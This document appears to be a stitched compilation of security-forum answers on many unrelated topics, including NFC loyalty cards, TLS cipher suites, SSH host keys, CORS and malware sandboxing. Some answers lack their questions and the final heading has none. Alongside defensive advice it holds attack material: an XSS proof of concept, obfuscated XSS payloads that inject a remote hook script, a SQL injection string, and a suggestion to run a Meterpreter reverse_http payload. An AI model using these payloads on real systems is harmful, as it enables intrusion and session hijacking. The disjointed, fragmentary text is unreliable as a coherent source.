Best practices for loyalty cards (barcode & NFC)

NFC cards can authenticate the reader. Mifare Plus (and Classic as well, but they're broken) can implement ACLs on sectors so that a key must be presented in order to read/write a sector. You can have two different keys per sector, called key A and key B, and a bitfield controls which key can do what and whether unauthenticated access is allowed.

I believe Mifare DESFire can even do crypto on the card itself, so not only is the transport layer encrypted and the reader authenticated, the card merely proves it has the user's secret key without ever disclosing it, where as Plus and Classic are only doing authentication but then behave like dumb  storage devices. Don't quote me on that though, check the datasheets for yourself.

So, if you use Mifare Plus I would recommend setting a key for the sectors holding the sensitive data, and then put there an user ID, a nonce and a MAC. The MAC should be updated each time the card is used so that even if someone manages to copy a card, they won't be able to use it if the legitimate card has been used in the meantime because the nonce would be already used, and they can't make another one because the MAC would no longer be valid.

For QR codes, never use a static code with just the user's ID. Require your mobile app to have a connection to the server, and then when used the app should request a new token from the server and only display that token. It will be one-time use only and have a limited lifetime. This is similar to the card approach above, except since the phone and POS machine don't communicate, there is no way to update the nonce and MAC, so it's better to have the phone just request a new one each time. The only time it would be acceptable to use a static ID is if you require some other method of authentication to actually use the funds from the card.

You can maintain two types of tokens, one for the NFC card and one for the phone. The NFC one would be static (user's ID) but protected by a nonce and MAC, while the phone's one is dynamic. Usage of either type shouldn't affect the other one. Also, the card doesn't even need to be aware of its balance since this is kept on the server anyway. Storing balance on the card would be an unnecessary risk no matter how good the crypto is (remember when people thought Mifare Classic was safe? Imagine the disaster if you had the balance on the card and someone figured out a way to add some hundreds to his balance...)

If you decide to go with the DESFire route and it can actually do on-card crypto, just store the user's ID and a private key on the card. On the server you keep the public key, and each time the card is used the reader should ask the card to sign a random challenge with its key, and the server can then check whether the signature is valid. Since the key is never transmitted and it's pretty much impossible to get it out, this approach is safe. That's similar to how credit cards work by the way. You can even couple this approach with having the card authenticate the reader before talking to it, just like you'd do on the Plus by setting the appropriate sector keys and ACL bits.

Finally you can periodically rotate the sector keys, on each transaction the reader tries every key used in the last X months (the lifetime of the card), and once successfully logged in it updates the card's key to the latest one. That would prevent a rogue employee having extracted the key from the POS software from copying the cards, even though the nonce + MAC would most likely defeat him anyway, but another layer of security is always good. Key rotation should be done regularly but the total number of usable keys has to remain reasonable - this should be calculated based on the maximum lifetime of a card and the acceptable transaction delay. For example, if the lifetime is a year, and you'd rotate the keys every month, the worst case scenario would be that the reader has to try the last 12 keys, which would take about a second. Adjust the values according to your requirements.


ChaCha20 and Salsa20 are stream ciphers. Their purpose is to provide confidentiality, as long as the key used to seed them remains secret. Poly1305 however is a Message Authentication Code (MAC), which is supposed to provide integrity and authenticity for the sent messages.

In general, it should be possible to use them separately as they do not seem to depend on each other (Poly1305 can, and does as far as TLS is concerned, use ChaCha20 as an underlying cipher, however). For example, the NaCl crypto library lets you do encryption using Salsa20, authentication using Poly1305 or authenticated encryption using both schemes.

However, it is not possible to use them separately with TLS. The reason for this is, that TLS uses a scheme to identify the combinations of Key Exchange Algorithm/Cipher/MAC called "Cipher Suites". As a client always sends all the cipher suites it supports in each "Client Hello" packet (the first packet needed to establish a TLS connection), all possible cipher suites are predefined, so a 2-byte ID is sufficient to represent a single cipher suite.

As RFC7539 states, the main reasons for including the possibility to use ChaCha20 and Poly1305 are to have an alternative to AES in case weaknesses are found and to have a fast alternative to use on slow hardware [Page 2].

You can see all the defined cipher suites and their representations at IANA's TLS parameter specification. Alternatively, have a look at RFC7539 (link at schroeder's comment to your post), which specifies all possible cipher suites using ChaCha/Poly.


SFTP server: should we prevent SSH host key changes?

Is changing the SSH host key a bad thing or is there a security benefit by changing it?

You should change it mainly if is has been compromised. Examples of such compromissions: an employee that could have knowledge of it is fired or leaves the company for any reason, you had to let an extersal support tech administrate the machine.

You could change it on a timely manner, but it should have a typical certificate lifetime, IMHO several years. That would allow to collect a possible undisclosed attach

  Is it valid to assume that the SSH host key is unrelated to FTPS/ SSL certificate changes?

AFAIK, yes

  Should the consider the unexpected change of the SSH host key as a bug in the used software?

I would considere that as a flaw in the administrative procedures: the key should be archived so that it can be restored after a (eventually partial) reinstallation

  Should we have to monitor our own SSH host key on changes?

A change of the SSH host key should never occur by accident. That means the the change should be prepared and all users warned of it some time before and the day it is done. The change should be noted in the operational log.


How to prevent installation of Google Chrome extensions

You can do this with a GPO. Go to Computer Configuration > Administrative Templates > Google > Google Chrome. Look for a folder named  Allowed extensions. There configure a blacklist of *. This will prevent users from installing plugins.


What number of bits does a browser use to generate a key?

As per the SSL/TLS standard, the gory details are the following: if the cipher suite which the client and server agree upon mandates RSA-based key exchange, the the client generates a 48-byte (384 bits) string, beginning with the protocol version over 2 bytes, then 46 random bytes (i.e. 368 random bits). This is the PreMasterSecret (see section 7.4.7.1). This is the string which is encrypted with the server's public key.

When both the server and the client have the 48-byte pre-master secret, they use the PRF (the kind-of hash function described in section 5) to deterministically compute, from the pre-master secret, the encryption and integrity keys used to protect the data. If the cipher suite calls for 256-bit encryption keys, and 256-bit encryption keys will be thus generated.

To see from within the web browser (assuming the SSL client is a Web browser), see this answer.


Password Cracking Mandarin Words English Character Set

I don't speak Chinese but I believe the operational word to use for your Google-searches is "pinyin". This is the official method of encoding Chinese text into Latin characters (that's not the only one, though). So you want "Mandarin word lists in pinyin".

With such terms, I find this downloadable dictionary which looks promising. In the .u8 file, one will find lines like this one:

 北極熊 北极熊 [bei3 ji2 xiong2] /polar bear/

with the pinyin transcription between square brackets [ and ]. You should be able to build a wordlist out of this file.


MIME types that allow XSS in modern browsers

You won't be able to assemble a comprehensive list of dangerous MIME types.

While it's straightforward to block text/html, text/xml, image/svg+xml, etc., there are many obscure legacy or vendor-specific MIME types that aren't widely known and might work in some browsers. E.g., the MIME type application/vnd.wap.xhtml+xml is understood as XML in Firefox while it won't trigger in Chrome at all. Proof of concept:

data:application/vnd.wap.xhtml+xml,<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>

Also, there are MIME types that don't immediately lead to XSS but have side effects. E.g., an attacker might want to trick a user into installing a Firefox plugin by supplying content with a application/x-xpinstall MIME type. (This attack will have some additional hurdles, but you get the idea.)

Finally, third-party vendors might also register their own custom MIME types (think Flash applets with application/x-shockwave-flash, JAVA applets, embedded media players, etc.) some of which have the ability to execute script code. It will be hard to keep track of these on your blacklist.

In conclusion - if you're planning a real-life implementation, you should whitelist harmless MIME types instead of blacklisting dangerous ones.


Why is HTTP data sent in clear text over password-protected Wifi?

I mean, my WiFi is protected, so all the communication should be encrypted, right?

It is, but not at the place you're reading it. Encryption happens at a certain point in the "pipeline", and decryption then must also happen at a certain point in the "pipeline" (otherwise the data are useless). You are observing the data after they have been decrypted, which would not be possible if you were using HTTPS (which instead provides end-to-end encryption, which starts at the server and ends at the browser).

If you attempted to use Wireshark to capture the contents of an HTTPS transaction, it'd be like this:

+--------+ (encrypted) +----------+ (encrypted) +--------+
| Server | ----------->| Internet |------------>| Router |
+--------+             +----------+             +--------+
                                                     |
                                                     | (encrypted)
                                  +------------------+---+
                                  | Your PC          |   |
                                  | +-----------+ (e)|   |
                                  | | Browser   |<---+   |
                                  | +-----------+    |   |
                                  | +-----------+ (e)|   |
                                  | | Wireshark |<---/   |
                                  | +-----------+        |
                                  +----------------------+

Here, your browser knows how to decrypt the data, because it "owns" the HTTPS transaction in the first place; your Wireshark instance (which, per the very purpose of end-to-end encryption, is treated just like any other snooper in this scenario) does not.

But your wireless encryption starts at the router and ends at the PC's network card, so the result for you is more like this:

+--------+ (plaintext) +----------+ (plaintext) +--------+
| Server | ----------->| Internet |------------>| Router |
+--------+             +----------+             +--------+
                                                     |
                                                     | (encrypted)
                                  +------------------+---+
                                  | Your PC          |   |
                                  | +-----------+ (p)|   |
                                  | | Browser   |<---+   |
                                  | +-----------+    |   |
                                  | +-----------+ (p)|   |
                                  | | Wireshark |<---/   |
                                  | +-----------+        |
                                  +----------------------+

Here, anything on your PC can read the data, because they were decrypted by your network card. Otherwise, what application would decrypt the data? Nothing would work.

There is almost no relationship between HTTPS and WPA2-PSK; they do completely different jobs.


Can being hacked/cyberattacked once make you more vulnerable to being hacked again?

To some extent, yes, I'd worry that any devices that were connected to your network at the time your PC was running malware, might also be infected by something. Take backups and monitor for suspicious behavior going forward on all your devices attached to your network. Make sure they are all up-to-date and have malware protection enabled. But, if you are not on a corporate network or high-security network, I would not worry about network infrastructure mapping or anything that may have taken place.

What I would worry about, indeed my primary concern, would be compromise of any passwords or accounts that may have been stored on or accessed from your computer. Do you have any saved passwords in your browser? Use a password manager? Log into any websites while the malware was active? Assume all such passwords are compromised. Go change all your passwords on all websites you may have accessed immediately. If you reuse a password anywhere, change your password anywhere it is used, regardless of whether you accessed that specific site on that computer.

My other worry would be a persistent ransomware infection or something that is waiting in the background, biding time, in order to wipe out your backups before striking. Reformatting is probably enough for that but be sure to take a backup of all your devices, and save to disconnected storage that would be inaccessible to any ransomware. But I think your online account security should be your first concern an this point.


Can M.2 docking stations be used to make forensic images of (Bitlocker encrypted) M.2 disks?

The "docking station" you're describing seems to primarily be a cloner, a tool that duplicates the data on one device to another. It shouldn't write anything to the "Source" disk by itself, though for forensic purposes you might want one that explicitly and legally-enforcibly guarantees not to write to the source.
Conventionally, BitLocker just replaces the volume metadata (where file system info is usually stored) with its own metadata (about key protectors and such, plus where the actual file system metadata was moved to). You can think of this as being like "formatting" the disk with BitLocker. Cloning that is easy; the cloner doesn't know anything about the data it is copying and it's not like it understands actual file systems either.
Self-Encrypting Drives configured to require an Authorization Key are another story. It doesn't matter whether the drive uses BitLocker or some other way to control the SED. Nor does it matter whether it's M.2 NVMe, other PCIe, conventional 2.5" SATA, or any other interface. The drive firmware will refuse to allow I/O until the correct AK is provided, and the cloner probably can't do that (unless there's some way for a PC to supply it).

You seems to be ascribing various properties to M.2 disks, but that's not really warranted. First of all, M.2 is a family of physical interfaces; the actual data on the pins might be either SATA or PCIe (specifically, NVMe, which is a standard for PCIe flash storage interfacing). While the exact commands to do things (read, write, delete, etc.) are different between the various communication protocols, they all conceptually do the same thing. It is possible, but not necessary (or, AFAIK, common), for any disk to do things like maintain a log of every time it powers on, or how many bytes are read or written or whatever. None of that has to do with using an M.2 form factor vs. any other. In general, anything you know about 2.5" SATA disks will almost certainly be true for M.2 SATA disks, and probably true for NVMe ones too.


How to input generic type or determine data types for selected values in UNION ALL SQL injection attack?

You'll probably need to brute force it. But that looks like way to many columns to brute force at the same time! But don't worry, NULL comes to the rescue:

foo' UNION ALL 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, ...

Set all columns to NULL, and try different types for the first column. When you got that one nailed down, move on to the next. And so on.

EDIT: This seems to be wrong, see comments.


Does an equivalent for netconf exist in the Cisco ASA world?

To best of my knowledge , there are no Cisco API's for Physical ASA's . You need to do it via CLI or Cisco Security Manager or ASDM .


What can scammers see on my devices after I delete the remote desktop software?

Firstly, well done for realising that you were in the middle of falling for a scam. Changing your online banking details immediately on another device was wise.

  After closing this app can the hackers still control my laptop?

Probably not. But it is possible, if they were able to install additional software on your computer while they had access. (Since you could see everything on the screen while this happened it's not likely, but it's not impossible.)

Most scams like this one are not using sophisticated hacking tools and techniques, just good ol' fashioned confidence tricks and scams. Most, but not all. If you are genuinely concerned, back up your personal files and documents and reformat your computer. (Yes, that's the best way to be sure, even if it's inconvenient. You effectively gave a malicious person complete access to your computer as if they were you, even if only briefly.)

  Could they see and control what I am doing on other devices...?

No. Even if your home computer is compromised, if your bank has half-decent security practices at all, then the connection between your tablet and your bank should be secure. (Email is a notable exception to this -- anything you send or receive in an actual email can be intercepted by an attacked who could be bothered, but hopefully you didn't use email to change your username and password.)

Other things to worry about: If the scammers asked you any "verification" questions like a bank etc would ("Can you confirm for me the last four digits of your social security number/the number on the back of your credit card/your date of birth?" etc), then you are now at serious risk of identity theft, especially since they now know your bank, bank account details, balances, recent transactions, everything that was visible on your screen.

Either way, you must contact your bank to inform them, and change your security/verification questions to something that cannot be answered from the information they now have, or found out about you online (any information online, you are now extremely easy to find for them). Often identity theft is the real goal of these scams, because it's much more lucrative than just tricking you into giving them money once or twice.

Once again, well done for shutting the scam down partway through. Best of luck.


Is Duo MFA vulnerable to a SIM swap exploit?

With Duo one can disable the SMS fallback option in the admin panel (this is according to documentation I haven't tested this to confirm they actually disable it).  If push is an option I recommend it (just make sure you train users about getting double push notifications and how this can be a sign of nefarious activity).  Documentation below.

https://duo.com/docs/administration-settings#restricting-authentication-methods


I can't figure out the abnormal behaviour from this Wireshark capture file

There is two things suspicious on the pcap file:
1. as Steffen mention the sequence number looks like is from the same machine, probably the generation of the packets is on a for loop
2. In general, the ICMP requests contains the alphabet in order to reply with the same, and in the pcap file is all set to zero.

Could be a a botnet behavior or somebody playing with packets on the internet and his program is not ready to work as expected.


Has anyone found/done any real-world testing?

For example NSS labs does various tests. But since it is their business to help others decide what to buy the detailed test results are only available for money. Some vendors though provide the details on their own website - but of course only if these are good results.

  Do the one wire products reliably filter all packets to/from all devices, or do they miss large chunks of traffic?

There is always a balance between speed, price and depth and quality of inspection. This means these firewalls can be bypassed and often in trivial ways (disclaimer: this is my own research) as NSSLabs shows too (which used my evasion tool). And while many of these reported problems have been fixed there are several unreported which still work.

But in general you can say that you get what you pay for. The cheaper a device for a specific throughput is the less analysis it does, which means it also protects you less. But none of the devices offers full protection.  And no matter what some claim, I don't believe that any of the vendors has the secret "patent-pending" "military-grade" sauce which makes it possible to provide the same level of security and performance for a significantly lower price than all the others.

  Do these things really protect any better than conventional routers?

Definitely. A router does not offer much protection in the first place. These NGFW analyze at the application level, check the reputation of sites you visit, analyze mail ... - nothing of this is done by a router.

  Are they more frequently patched for vulnerabilities?

Some vendors have obviously more problems writing secure code while others have less problems. Just look at the reported vulnerabilities before you buy something.

But all of this does not mean that you need to buy the most expensive device to protect your network. What you actually need depends on your specific risk, which depends on what you protect but also how you protect it already. If all your sensitive data are offline than you don't need an NGFW but likely a better lock or a safe or a surveillance system since the main thing you have to worry about are physical attacks.

And even if the data are on networked systems it might be better to have separated networks depending on the sensitivity of the assets, use microsegmentation inside the network or your zero-trust concepts like BeyondCorp to protect your data. Depending on your specific use case and risk they might protect you better for the same costs than some next generation perimeter firewall.

In contrast to what especially the cheaper vendors tell you: security is not as simple as putting some fancy device on the network and be fully secure.


What information could be identified about a Virtual Machine which routed traffic via a VPN?

What information or data concerning the activity of the Virtual Machine could be logged either by the Windows Machine (which the VM is running on)

Everything. The host has complete, unrestricted access to the guest. It may be possible in the near future to make VMs a bit more secure from their hosts by utilizing SGX (Software Guard eXtensions) on Intel Skylake processors. These use the CPU's Management Engine to encrypt data in memory so even the host's ring 0, the supervisor mode, cannot view it.

If you are asking what is unintentionally left over on the host, as opposed to maliciously snatched by the host, then it's mostly limited to swap (called virtual memory on windows) which is written to the disk when memory pressure is high, coredumps, which are performed when certain applications crash, and screenshots, which many virtual machine managers automatically take.

  or by the network surrounding this Windows Machine?

Other than side channel metadata such as packet sizes and timings, an external network may be able to tell the guest's operating system version and uptime. See http://lcamtuf.coredump.cx/p0f3/ for an example of this, called TCP fingerprinting.

Note that a VPN does not obfuscate web traffic, it encrypts the contents of web traffic. This is fine if you are trying to hide the literal contents of your communications from your ISP, but it is not particularly effective at keeping you anonymous.


1/3/4/7-Access to the Internet? Not a good idea as depending on what it does, your VM could release it "into the wild". Running it in a VM should be perfectly fine if it is not connected to the internet.
This answer from The Bear will go into a lot more detail regarding the malware escaping a VM. Here

2-Formatting should be fine for 99% of malware. Some can attack to other areas other than harddrive though so keep that in mind and research what you are playing with.
More information here

6 - You could use a proxy, but as Munkeyoto stated, to properly analyze, you need to see the traffic.

As for your question in the comments...
-Yes it is. You shouldnt have any issues with just formatting. There is extremely sophisticated malware that can reside if MBR, bios, firmware, but this would be above everyday malware. UNLESS you have peripherals attached (USB drive for example).


How can AWS API Gateway be used to rapidly rotate credentials in this fashion?

This is an interesting post, but on your specific question though, the answer is rather complicated (as all of AWS is).

Firstly it's important to understand that nearly every service in AWS is accessible via a authenticated REST API calls. These calls are made by your SDK (e.g. boto3 for python) which provides high level abstraction for your code.

So first let’s delve into how your AWS SDK gets the necessary credentials to authenticate itself to AWS. If you write a bit of code to access a file in S3 for example, your code needs to call the get-object method on the S3 API, and in order to do this, you'll need to sign that request with a key/token belonging to a IAM role that has the privileges to do so.

Fortunately AWS provide a very nice SDK to make this call for you, and all you have to do is supply it with credentials, which it will then use to automatically sign the request for you. The SDK looks for these credentials in 3 different places.

A specific environment variable
In a file located at ~/.aws/credentials
The metadata service

Once the SDK locates the credentials it will sign the request and you’ll be able to get the file from S3.

Most people understand files and environment variables, but trip up at the metadata service ... like what is that?! I didn’t even know it existed until I read the capitalone breach. This service exists on EC2 instances.

When you spin up an EC2 with an assigned IAM role, the instance comes with a metadata service that the SDK can request credentials from. The difference is that it uses STS tokens rather than Long-lived API keys. The end effect is still the same, as the SDK abstracts this complexity from your code. But in the background, your SDK continually requests tokens from the service, and use those tokens to sign the outgoing requests to AWS APIs.

The metadata service exist on a private IP on the EC2 instance (169.x.x.x), hence is accessible only inside the instance.

So what the author suggested was using an EC2 with a script that uses the metadata service to gain access to the API Gateway. That way the script will only use temporary tokens from STS rather than any Long-lived credentials like manually generated api keys. He could not do it on his local machine -- because it didn't have the metadata service.


openssl s_server is expecting key and certificate in case of PSK cipher test

You have to explicitly use the -nocert option so that it will not try to load the default certificate:

$ openssl s_server -psk fcc56e7668194a4775e5b36e2735551a -accept 1440 \
   -cipher PSK-AES128-CBC-SHA \
   -nocert
Using default temp DH parameters
ACCEPT

  certificate and key is not going to be used in client, only PSK will be used then why s_server need certificate ?

A TLS server is usually used with a certificate and therefore s_server expects one by default (and has a default path where it expects it). A TLS client is usually used without a certificate and therefore s_client does not expect one.

  Is this right approach to test PSK using openssl server and client.

Apart from adding the -nocert option and omitting the certificate, yes.

  I am using RSA key in case of openssl server to verify PSK-AES128-CBC-SHA cipher, is this right key format for this cipher to verify.

No certificate is used when using PSK which means no RSA key is used too.


How were hackers able to alter the text of my pages without a form or querystring?

A vulnerability in active content on your site is not limited to only impacting that portion of your site.  If you have a vulnerability that allows execution of arbitrary code, then the code that is injected can do anything that the executing process can do, potentially including file operations on other parts of your site.

This is most probably what happened.  The forum software or some other form was injected in a way that allowed a file operation to be preformed on the root folder and that was used to modify the static files on the main page to inject the content payload.

It's a mildly sophisticated attack in that it probably wasn't done exclusively with out of the box tools, but still isn't particularly hard assuming the appropriate vulnerabilities were present.


Multiple SSL certificates on load balancer

Not taking in consideration the costs associated to the purchase of certificates (one per web application) they claim that the solution is not feasible because all SSL certificates are managed on the load balancer.

Arguably this is a Server Fault question as it's asking about configuration of a load balancer.  It's impossible for us to answer completely because we don't know what setup your company is using.  However, generally speaking adding additional certificates should not be difficult; it should be only a few lines of configuration, and the operations folks should have configuration management scripts that allow them to just add another cert into an array and let the tools generate the resulting config.

However, a much more common approach is to use a SAN cert that contains entries for all of the domain names you're expecting to use.  Take a look at the certificate here, for instance:

This is also commonly used by CDNs so that they don't need to manage a whole bunch of certificates from each of their clients:

The key problem here of course is that you need to renew the certificate when adding a new domain.  To combat this, I would require advance notice that you want to add a new domain, and batch a bunch of them together into a new cert; so if you renew certs every year and add new domains monthly, you'd have twelve certs installed on the load balancer, one for each month.


Can Heartbleed expose a TOR user's IP address?

The exit node does not know your IP address -- that's the whole point of onion routing.  Rather, it knows which relay node to contact in order for the data to eventually get back to you.  In order for your IP address to be revealed with certainty, the entire chain needs to be vulnerable; if the entry and exit nodes are both vulnerable, an attacker can make a reasonable guess as to your IP by correlating the use of relay nodes.


Can Client Certificates be tied to a Specific Server Certificate?

Instead of setting up multiple CAs, you can just tweak access settings in your Apache configuration. Look at Require directive:

http://httpd.apache.org/docs/2.2/mod/core.html#require

If you set any authentication requirement, then default Require level is implicitly set to "valid-user" (anyone that meets other requirements).

But using Require, optionally combined with AuthGroupFile, you can limit access to users with particular certificates.

For example, you can issue client certificates with embedded email addesses in 2 domains:

name.surname@domain1.com
name.surname@domain2.com

Then on first Apache you can allow only users with certificates for *@domain1.com, and on second Apache only users from *@domain2.com.


Can an antivirus delete files inside an archive?

Commonly AV detect only malware but not remove it from inside an archive. If this feature would be needed the AV would not only need to implement functionality to look into an archive but also to create a new archive, this way making the code more complex.
But, there are for example firewalls which remove malicious content from the traffic (i.e. drop attachment from mail) or even change the content by stripping macros from an office document before forwarding it.


Can be WiFi credentials obtained by autoconnection feature + a mimicking hotspot?

No, this would not work because all passwords sent to password protected routers are encrypted (this is why De-Auth ing a client and then sniffing their handshake as the re-authenticate does not work). The router compares hashes and not plaintext.

You may also be interested to know that this is not dissimilar to an attack called "the evil twin attack," Google that and you'll get plenty of info...


I want to change my phone number, how can that affect my security & privacy?

I got a new number recently.

One of the first calls I received was a debt collector looking for the previous owner. They were not the last collector to call me. I now know his name is Alvin ___ and he has some outstanding debt. Being debt collectors, I probably could have pretended to be a roommate or AA sponsor and pressed them harder to get more details about the guy.

One of the next calls I got was from CVS pharmacy, telling me Alvin's prescription was ready to be picked up. CVS requires you to validate some other piece of information before they'll tell you the name of it, but other pharmacies might reveal more about your prescriptions without additional verification.

I also got a call from his doctor. They left a message requesting he call back about his test results. I didn't follow up.

I received a string of group text messages from his co-workers about sports games, delivery plans and pickup locations and got berated by one of them for not showing up to a job. After being sent a picture of a barrel "I" had failed to pick up, I learned Alvin works in hazardous chemical delivery. So now we know he's a blue-collar guy and likes sports. That should help limit the password pool. His co-workers likely could have yielded more information such as email or residential address.

I also received a 2FA message intended for Alvin. Now I know where he does his banking. All I need is an email address...

Eventually traffic destined for Alvin came to a stop.

Then I signed up for a Google Voice number. I immediately got a text message intended for the previous owner soliciting sexual favors for an insultingly low amount of money. I politely declined his offer.

Long story short, there's a lot you can learn about an individual when you have their phone number.


Security through obscurity - "https requests" are safe?

The attacker could Man-In-The-Middle attack their own iPhone by creating a custom CA.
SSL/TLS prevents third parties they don't trust from listening in. The attacker has no reason to distrust themselves and their iPhone allows them to make it trust whatever they want.

The format won't be safe, and shouldn't be (be, not contain) sensitive information.


Reply to SSL Handshake Request with a 302 Response

If I understand you correctly, you want to send a 302 response before the handshake is finished. A browser won't allow this for security reasons. Identifying the server by its server certificate is a crucial part of the SSL handshake - before this is completed, the browser cannot be sure that he is talking to the correct server.

That's why the answer is "no". The handshake must be finished before the browser will accept any content coming from the server. Otherwise it would be severely broken.

In case I misunderstood you and you want to send the 302 immediately after the handshake is finished, I see no problem here. The server can answer the request with any Response Code - if it happens to be 302, that's perfectly fine.


What you're looking for is a proper implant written in PHP which uses HTTP for it's C2, which as you correctly state isn't one of the Meterpreter options - and I'm not sure if anyone has bothered writing one.

Depending on your use case and how good your target's network detection is, you might be better off using your PHP exploit to execute a binary Mettle stageless payload such as linux/x86/meterpreter_reverse_http.


reading a file with other read permissions set

If there exists a symlink to the file that is inside an executable directory, the user can still read the symlink, regardless of its type. I'm uncertain whether there are other known methods.


How to protect data in case of an unauthorized physical access to a server

Once someone has unrestricted physical access to your server, they can mount any number of attacks against it to retrieve data. The only solution is to restrict physical access in the first place. Depending on your budget and threat model, this can be done by keeping the server in a locked or even guarded server room where only authorized personnel are allowed to enter, by keycard. The server chassis can be physically locked into the rack, which itself can be bolted down. All of these deterrence measures are designed to reduce the risk of someone getting physical access in the first place.


Hydra fails with "[ERROR] target ssh://192.168.16.128:22/ does not support password authentication."?

SSH supports several different authentication mechanisms. The password authentication mechanism has the client send the password to the server as a password. The more-common keyboard-interactive authentication mechanism opens a channel between the client and an authentication process on the server. The client allows the user to directly interact with the authentication process, which is usually just a password prompt. This allows more complex features like multiple-factor authentication and pre-authentication warnings and checks.

So your target probably supports keyboard-interactive and not password authentication.


Access-control-allow-origin: * with a bearer token

There are a few things that will mean exploitation is unlikely.

To start with

access-control-allow-credentials: true
access-control-allow-origin: *

is an invalid combination:

  Important note: when responding to a credentialed request,  server
  must specify a domain, and cannot use wild carding.  The above example
  would fail if the header was wildcarded as:
  Access-Control-Allow-Origin: *.  Since the Access-Control-Allow-Origin
  explicitly mentions http://foo.example, the credential-cognizant
  content is returned to the invoking web content.

Another thing is that the authorization header is not a simple header, so would require a preflight that results in an Access-Control-Allow-Headers response returning that header. The server not returning this would also prevent any CSRF attack, because the pre-flight will block it.

Unless it allows the header, it is not usually possible to add a custom header cross domain unless you attempt an exploit with Flash that used to work on certain browsers.

  What are the risks with this model? Is this a sensible way to do
  things?

As it is invalid to specify this combination of headers, indeed this is not a sensible way to do things. There may be some odd browser out there that would allow it and the site would be vulnerable (should any potential victim be using it). Allowing all origins but not credentialed requests allows the victim browser to be used as a sort of proxy in order to reach otherwise inaccessible resources. However, as the bearer header cannot be attached (without a Flash exploit) and being allowed through Access-Control-Allow-Headers, I wouldn't say this is high risk. Additionally, as the attacker does not have their victim's bearer token, any cross domain requests that would be made would be under the attacker's session rather than their victim's.

I would probably point it out as an advisory item that they should review that their CORS headers match their intention.


Your header is of course showing it in URI encoding because it's a URI.  You need to look at the actual body - your report stated it was in an a tag, so look for that a tag.  Pass your output through grep and it should fall out.  You won't see it in a GET because that is the data you are sending to the server (or directly what the server is receiving, either way)


Logging and Metrics for DEP, EMET, and Related Mitigations

EMET 3.0 has been announced.

With EMET 3.0, we have included an additional new reporting capability that we call "EMET Notifier". When you install EMET 3.0, this lightweight component is set to automatically start with Windows.
EMET events are logged via the event source called EMET. These logs can be found in the Application log. There are three levels: Information, Warning and Error. Information messages are used for logging usual operation such as the EMET Notifier starting. Warning messages are used when EMET settings change. Error messages are used for logging cases where EMET stopped an application with one of its mitigations, which means an active attack has been blocked.

The new version looks like it puts the needed information into the Windows Event Log.


Original version

Using document.write in an event can cause problems is the event is fired after the page is loaded (i.e. closed), because the browser will then clear the document and start a new blank one. I am not sure I understand what the "payload ain't delivered clean, as result I get a lot of other HTML mixed" is supposed to mean, but this might be your problem.

If so, try using this (minus the line breaks and comments) as a payload:

var x = document.createElement(String.fromCharCode(115, 99, 114, 105, 112, 116)); // "script"
x.src = String.fromCharCode(49, 50, 55, 46, 48, 46, 48, 46, 49, 58, 51, 48, 48, 48, 47, 104, 111, 111, 107, 46, 106, 115); // "127.0.0.1:3000/hook.js" - Might not need to be obfuscated?
document.body.appendChild(x);

Based on this answer.

Shorter versions

I will write these with white spaces included for readability, but those can off course be removed. I am asuming that only the word script is filtered since you used fromCharCode. If more is filtered, you might have to change these a little, but there should be wiggle room.

Alt 1 (94 characters)

y = document;
x = y.createElement("scr" + "ipt");
x.src = "127.0.0.1:3000/hook.js";
y.body.appendChild(x)

If script without < and > is OK, you could gain some charactes by removing "+".

Alt 2 (with jQuery, 43 characters)

$["getScr"+"ipt"]("127.0.0.1:3000/hook.js")

Again, if script is OK you can get down to 37 characters:

$.getScript("127.0.0.1:3000/hook.js")


IE on Windows 2012 doesn't show certificate or lock icon despite using HTTPS

It's because the connection is not actually secure: There is an HTTPS error on the page about mixed content. Some data is loaded over HTTP (and not HTTPS), which causes this error. You can see this if you open the page in another browser like Chrome.
Edit: Some more information about mixed content errors, from my answer on this question.

if one of the resources used by the website (such as an image or a script) is loaded over HTTP, the confidentiality cannot be guaranteed anymore. Even though browsers do not send the HTTP Referer header when requesting non-secure resources from a secure page (source), it is still possible for someone eavesdropping on traffic to guess where you're visiting from; for example, if they know images X, Y, and Z are used on one page, they can guess you are visiting that page when they see your browser request those three images at once. Additionally, when loading Javascript, the entire page can be compromised. An attacker can execute any script on the page, modifying for example to whom the bank transaction will go.
When this happens (a resource being loaded over HTTP), the browser gives a mixed-content warning: Chrome, Firefox, Internet Explorer 9


Does a CA need to have the same type of key as the certificates it is signing? RSA / Elliptic Curve (EC/ECDH/ECDSA)

In X.509, a CA can use any signature algorithm, regardless of the type of key in the signed certificates. Theoretically, if both the CA and the signed certificate use DSA keys or EC keys, and the two keys share the same group parameters (i.e. work over the same curve, for EC keys), then the designation of the curve might be omitted in the signed certificate. For EC keys, this may save perhaps a dozen bytes, and PKIX (the group responsible for the Internet X.509 Profile) explicitly forbids this "optimization". Hence I confidently state that there is no link between the types of keys in a CA certificate and the certificates that CA issues.

EC support in the existing deployed software based can be described as "flaky". Although X9.62 specifies how to encode parameters for EC keys in quite arbitrary curves, almost everybody implements only a limited set of "known curves", mostly from the 15 curves from FIPS 186-3. Actually, among these 15 curves, only two of them (P-256 and P-384) have non-anecdotic support in existing browsers. These two curves are the "bare minimum" of EC support as per NSA "suite B" (a recommendation from NSA for non-NSA people -- what constitutes "suite A" is not publicly known).

Also, X9.62 defines quite clearly how an ECDSA signature should be computed for every combination of hash function and curve (i.e. how hash values should be truncated or expanded to fit the curve group order). As could be expected, implementers got it wrong, and many believe that with P-256 (respectively P-384) only SHA-256 (respectively SHA-384) may be used. Therefore, if you use any other hash function, you will run in interoperability issues (I mean, more issues than what you will get for merely trying to use an algorithm which was not born in the Disco era).

The bright side is that P-256 with SHA-256 is, security-wise, "fine" (I love that word). The dark side is that even with that most supported combination, you will get into issues with old browsers (and there are places which are quite conservative with regards to updates -- at my workplace, the only allowed browser is IE 7 !). So you need a backup plan. Since the backup should be a whole-RSA PKI (RSA everywhere from the root down to the server and user certificates) for compatibility, and you want to ultimately switch to a whole-EC PKI, then you need two roots, one with RSA and one with EC. You can smooth out transitions to some extent with cross-certificates, but it is a whole can of worms.


Principally, is input type="text" instead input type="url" a security problem for "website" form fields?

The type of the input field is not a security feature but merely a usability feature, i.e. it allows early checking of value and might offer already constrains when entering the data in the browser. The server must still validate that the input conforms to the expected type since it is easily possible to bypass the browser based verification or not use an browser at all to submit the input.
Based on this, it is not a security problem to specify type text instead of type url for the input field, but might merely be a usability problem. It gets a security problem only when the server side application blindly assumes that the input will only be of the specific type, i.e. blindly trusts client input based on the wrong assumption that the browser will check it properly.


How to protect myself online from the government?

